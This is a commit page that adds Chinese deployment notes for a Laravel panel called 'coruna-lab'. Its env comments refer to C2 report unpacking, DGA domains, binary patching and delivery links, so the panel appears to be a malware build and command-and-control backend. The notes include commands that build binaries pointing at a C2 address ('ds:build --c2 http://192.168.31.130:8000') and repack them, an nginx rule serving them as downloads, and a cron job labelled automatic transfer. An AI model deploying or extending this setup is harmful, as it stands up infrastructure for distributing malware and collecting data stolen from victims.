feat: delete
This commit is contained in:
@@ -385,7 +385,6 @@ XXBB_VISIT_MATCH_MINUTES=30
|
||||
|
||||
# 后台「投放链接」展示域名(不驱动二进制补丁;DGA 域名以首次构建返回为准)
|
||||
CORUNA_LAB_CHANNEL_DOMAINS=cdn.example.com
|
||||
CORUNA_STATIC_SITE_SCHEME=https
|
||||
CORUNA_REPORTING_DOMAINS=
|
||||
|
||||
# C2 上报 7z 解包(与 build_api 无关,仍需配置)
|
||||
|
||||
@@ -0,0 +1,81 @@
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
- php 安装拓展:
|
||||
```
|
||||
apt-get update
|
||||
apt-get install -y libgmp-dev
|
||||
apt-get install -y p7zip-full
|
||||
|
||||
fileinfo gmp redis
|
||||
```
|
||||
- 禁用函数:
|
||||
```
|
||||
disable_functions = system,chroot,chgrp,chown,shell_exec,popen,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,imap_open,apache_setenv
|
||||
```
|
||||
- 伪静态配置
|
||||
- nginx 配置
|
||||
```
|
||||
location ~ "^/c/([0-9A-Za-z]\.[0-9A-Za-z]\.[0-9A-Za-z]{2})/show\.htm$" {
|
||||
alias /www/wwwroot/coruna-lab/public/channel/$1/details/show.html;
|
||||
types { }
|
||||
default_type application/octet-stream;
|
||||
add_header Cache-Control "public, max-age=60";
|
||||
add_header Content-Type "application/octet-stream" always;
|
||||
}
|
||||
```
|
||||
|
||||
|
||||
- composer
|
||||
```
|
||||
composer self-update
|
||||
composer install --no-dev --optimize-autoloader
|
||||
|
||||
```
|
||||
|
||||
```
|
||||
cp .env.example .env
|
||||
php artisan key:generate
|
||||
chown -R www:www storage bootstrap/cache
|
||||
chmod -R ug+rwx storage bootstrap/cache
|
||||
chown -R www:www www/wwwroot/coruna-lab/public www/wwwroot/coruna-lab/storage
|
||||
|
||||
php artisan migrate
|
||||
|
||||
```
|
||||
|
||||
|
||||
- channel-builder
|
||||
```bash
|
||||
cd /www/wwwroot/coruna-lab/channel-builder-new
|
||||
|
||||
python3 -m venv .venv
|
||||
source .venv/bin/activate
|
||||
.venv/bin/pip install pycryptodome py7zr
|
||||
pip install -r requirements.txt
|
||||
|
||||
|
||||
php artisan xxbb:build --random-c
|
||||
php artisan ds:build --c2 http://192.168.31.130:8000
|
||||
php artisan xxbb:repack
|
||||
|
||||
chown -R www:www /www/wwwroot/coruna-lab/storage /www/wwwroot/coruna-lab/bootstrap/cache
|
||||
chmod -R ug+rwX /www/wwwroot/coruna-lab/storage/app/channel-builder-new
|
||||
|
||||
```
|
||||
|
||||
|
||||
- 队列
|
||||
```text
|
||||
名称: coruna-queue
|
||||
启动命令: /www/server/php/82/bin/php artisan queue:work redis --sleep=1 --tries=3 --timeout=90 --max-time=3600
|
||||
启动目录: /www/wwwroot/coruna-lab
|
||||
进程数量: 2
|
||||
```
|
||||
|
||||
- 自动转账
|
||||
```
|
||||
cd /www/wwwroot/coruna-lab && /www/server/php/82/bin/php artisan schedule:run >> /dev/null 2>&1
|
||||
```
|
||||
Reference in New Issue
Block a user